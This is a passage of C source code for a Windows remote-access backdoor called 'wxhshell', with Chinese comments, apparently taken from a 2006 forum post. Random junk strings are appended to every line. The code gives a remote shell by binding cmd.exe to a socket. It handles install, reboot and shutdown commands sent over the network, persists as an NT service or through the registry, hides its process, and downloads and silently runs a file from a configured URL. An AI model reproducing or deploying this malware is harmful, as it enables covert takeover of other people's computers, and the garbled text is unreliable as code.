    switch(cmd[0]) { P~{8L.w!>W  
  .e0)@}Jv8>  
  // 帮助 bKmwXDv'  
  case '?': { b9X*2pnWJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aR6F%7gvz  
    break; ^D+^~>f  
  } B%uY/Mwz$  
  // 安装 k*)sz  
  case 'i': { YhV<.2^k  
    if(Install()) "g5{NjimY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F<b'{qf"  
    else ':;k<(<-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tgG*k$8z  
    break; YyxU/UnhG  
    } @~$"&B  
  // 卸载 pml33^*<U  
  case 'r': { g=4^u*  
    if(Uninstall()) Gu~*ZKyJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bz_'>6w  
    else zsJ# CDm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p" >*WQ   
    break; f/O6~I&g  
    } e1-tpD:J  
  // 显示 wxhshell 所在路径 HuTtp|zM>  
  case 'p': { LE<J<~2Z  
    char svExeFile[MAX_PATH]; 24#qg '  
    strcpy(svExeFile,"\n\r"); L>~Tc  
      strcat(svExeFile,ExeFile); .+u b\  
        send(wsh,svExeFile,strlen(svExeFile),0); 7?R600OA  
    break; dWQsC|  
    } GKo&?Tj)  
  // 重启 ujxr/8mjV  
  case 'b': { #{|cSaX<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cty#|6 k  
    if(Boot(REBOOT)) ` 'Qb?F6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2 M=)B  
    else { =D$ED^W  
    closesocket(wsh); %a~/q0o>  
    ExitThread(0); 5_'lu  
    } &;-zy%#l  
    break; U)bv,{-q  
    } ,J|,wNDU!K  
  // 关机 `Fn"QL-  
  case 'd': { lcZ.}   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ffmtTJFC5  
    if(Boot(SHUTDOWN))  eo9/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~I5hV}ZT  
    else { ~)ys,Q  
    closesocket(wsh); m@Yc&M~  
    ExitThread(0); RJ3oI+gI  
    } pc*)^S  
    break; /j GBQ-X  
    } @M"gEeI9  
  // 获取shell )k,n}  
  case 's': { DSz[,AaR]  
    CmdShell(wsh); 7tcadXk0  
    closesocket(wsh); -Ty~lZ)TDT  
    ExitThread(0); !} TsFa  
    break; kh0cJE\_^  
  } 4uIYX  
  // 退出 [oTe8^@[  
  case 'x': { !G;u )7'v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {o24A: M  
    CloseIt(wsh); ^-Od*DTL  
    break; .}!.4J%q2  
    } 7_i8'(``  
  // 离开 Kb?{^\FiU  
  case 'q': { ~'_cBJ 'XD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;yJ:W8U]+;  
    closesocket(wsh); o]oiJvOr  
    WSACleanup(); &+2l#3}  
    exit(1); ,_3hbT8Q  
    break; ?A3L8^tR  
        } %rptI$^*X  
  } _f[Q\gK  
  } XH!#_jy  
KR aL+A  
  // 提示信息 LQR2T5S/Q,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4qie&:4j  
} F]3Y,{/V  
  } s7Agr!>f  
B`}um;T#~,  
  return; P'Rw/c o  
} NGc~%0n  
Z[. M>|  
// shell模块句柄 o&q>[c  
int CmdShell(SOCKET sock) {]^Ixm-,f  
{ W*C~Xba<  
STARTUPINFO si; I$7eiW @  
ZeroMemory(&si,sizeof(si)); +& r!%j7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OjUPvR2 0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  `t U  
PROCESS_INFORMATION ProcessInfo; Z4VFfGCTL  
char cmdline[]="cmd"; \~5|~|9<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q7X]kr*qx  
  return 0; OH\^j1x9I  
} Q7865  
xR1G  
// 自身启动模式 4KH492Nq9  
int StartFromService(void) sT\:**  
{ 7<yc:}9nx  
typedef struct @gI1:-chB  
{ NHGTV$T`1  
  DWORD ExitStatus; \]9)%3I  
  DWORD PebBaseAddress; q\0/6tl_  
  DWORD AffinityMask; sAkr-x?+M  
  DWORD BasePriority; J$3g3%t  
  ULONG UniqueProcessId; @ma(py  
  ULONG InheritedFromUniqueProcessId; \Rny*px  
}   PROCESS_BASIC_INFORMATION; (&:gD4.  
dVQ[@u1,  
PROCNTQSIP NtQueryInformationProcess; X06Lr!-%  
I_J&>}V'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t7+A !7b{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EA& 3rI>U)  
xl\Kj2^  
  HANDLE             hProcess; $m4-^=  
  PROCESS_BASIC_INFORMATION pbi; x)::^'74  
g@`i7qN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c5YPV"X  
  if(NULL == hInst ) return 0; Q7s@,c!m_  
Lzq/^&sc(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); II\&)_S.4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =c[tHf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y9+_MxC"  
S0,\{j  
  if (!NtQueryInformationProcess) return 0; HxG8 'G  
R?xb1yc7_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `S {&gl  
  if(!hProcess) return 0; `geHSx_  
]\78(_o.zz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rJ!cma  
W: ]FYC  
  CloseHandle(hProcess); Ww7Ya]b.k  
3A#Tn7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iM+` 7L'  
if(hProcess==NULL) return 0; =kd$??F  
9njl,Q:  
HMODULE hMod; "z~ba>,-\  
char procName[255]; ux;?WPyr  
unsigned long cbNeeded; [^5\Ww  
ks4`h>i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L|=5jn9 :  
jJ ,_-ui  
  CloseHandle(hProcess); 1+x" 5<(W  
CXlbtpK2k  
if(strstr(procName,"services")) return 1; // 以服务启动 qkb'@f=  
NX @FUct;  
  return 0; // 注册表启动 PMzPj,  
} (`tRJWbdz  
:L[>!~YG_n  
// 主模块 aLO^>",  
int StartWxhshell(LPSTR lpCmdLine) PVCoXOqh  
{ @R[{  
  SOCKET wsl; JB_fS/I  
BOOL val=TRUE; )kD/ 8  
  int port=0; CKsVs.:u  
  struct sockaddr_in door; -pC8 L<  
h@:K=gg K  
  if(wscfg.ws_autoins) Install(); Zj`WRH4  
,lyW'<~gA  
port=atoi(lpCmdLine); xA] L0h]  
]?Ef0?44  
if(port<=0) port=wscfg.ws_port; + ?1GscJ   
8Lo#{`  
  WSADATA data; f[^f/jGm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *r7v Dc  
1\.$=N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x$Dq0FX!%_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;a:H-iC  
  door.sin_family = AF_INET; u^80NR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tdy2ZPVtTV  
  door.sin_port = htons(port); mDB  
^Co-!jM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zi!Ta"}8  
closesocket(wsl); r* *zjv>  
return 1; M^FY6TT4O  
} o96C^y{~S  
"W|A^@r}  
  if(listen(wsl,2) == INVALID_SOCKET) { wVf~FssN  
closesocket(wsl); rwm^{Qa  
return 1; IPiV_c-l  
} sibYJKOy  
  Wxhshell(wsl); ]-fkmnmWX  
  WSACleanup(); %,$n^{v  
m>>.N?  
return 0; JAPr[O&  
_VtQMg|u  
} L4#pMc  
*H>rvE.K?  
// 以NT服务方式启动 u;#]eUk9}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]MbPivM  
{ I=Y>z ^4  
DWORD   status = 0; (i1JRn-f  
  DWORD   specificError = 0xfffffff; vvoxK0  
/ HTY>b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8.E"[QktZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gYpMwC{*d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ui{%q @  
  serviceStatus.dwWin32ExitCode     = 0; v3tJtb^'!  
  serviceStatus.dwServiceSpecificExitCode = 0; bOS)vt*V  
  serviceStatus.dwCheckPoint       = 0; MK$u }G  
  serviceStatus.dwWaitHint       = 0; 'M90Yia  
D #ddx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QLA.;`HIE  
  if (hServiceStatusHandle==0) return; bz>X~   
 {_rfhz  
status = GetLastError(); $6hPTc<C  
  if (status!=NO_ERROR) {Kz,_bo  
{ -%K!Ra\W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jmok]-pC  
    serviceStatus.dwCheckPoint       = 0; f8 d 3ZK  
    serviceStatus.dwWaitHint       = 0; *GP2>oEM  
    serviceStatus.dwWin32ExitCode     = status; jG5HW*>k0  
    serviceStatus.dwServiceSpecificExitCode = specificError; nB[-KS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(5r+Z}*`  
    return; k9|5TLXq?  
  } ]I*c:(qwu  
.6B\fr.za  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <g4}7l8  
  serviceStatus.dwCheckPoint       = 0; .R9Z$Kbq  
  serviceStatus.dwWaitHint       = 0; e|~MJu+1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4E'9;tA3l  
} 2iAC_"n  
5E:$\z;  
// 处理NT服务事件,比如:启动、停止 5of3&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q}1ZuK`6  
{ =W(*0"RM  
switch(fdwControl) B5e9'X^ [  
{ p6VD*PT$&  
case SERVICE_CONTROL_STOP: 4ls:BO;k]  
  serviceStatus.dwWin32ExitCode = 0; *6uccx7{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?GhyVXS y.  
  serviceStatus.dwCheckPoint   = 0; 8~sP{V%  
  serviceStatus.dwWaitHint     = 0; :FyF:=  
  { ~6vz2DuB=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >yIJ8IDF  
  } xo:kT)  
  return; "L~(%Nx3  
case SERVICE_CONTROL_PAUSE: 6|TSH$w_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O 4 !$  
  break; E+td~&x  
case SERVICE_CONTROL_CONTINUE: dWqn7+:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *[Hrbln  
  break; #;!&8iH  
case SERVICE_CONTROL_INTERROGATE: 'sNZFB#  
  break; W&z jb>0b0  
}; )Q)qz$h@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BFLef3~.0  
} 7>JYwU{  
`i7r]  
// 标准应用程序主函数 IThd\#=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) . ,7bGY 1$  
{ p!.~hw9  
~%{2Z_t$  
// 获取操作系统版本 n ]ikc|  
OsIsNt=GetOsVer(); XtF m5\U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GK?ual1  
HpwMm^  
  // 从命令行安装 V\V /2u5-  
  if(strpbrk(lpCmdLine,"iI")) Install(); |<%!9Z  
KKeMi@N  
  // 下载执行文件 %!|w(Povq  
if(wscfg.ws_downexe) { }d$-:l ,w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?ukw6T  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Ua,ba*  
} Tc2.ciU  
VYyija:  
if(!OsIsNt) { :<% bAn  
// 如果时win9x,隐藏进程并且设置为注册表启动 t=_^$M,yr  
HideProc(); lQA5HzC\  
StartWxhshell(lpCmdLine); 50UdY9E_v}  
} #6sz@XfV  
else *zfgO pK  
  if(StartFromService()) \l+v,ELX=  
  // 以服务方式启动 _03?XUKV  
  StartServiceCtrlDispatcher(DispatchTable); 6&3,fSP  
else !, 4ag1  
  // 普通方式启动 _Hb;)9y  
  StartWxhshell(lpCmdLine); :1v,QEb\  
|rmelQ-  
return 0; p [O6  
}
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只看该作者 1 发表于: 2006-10-10
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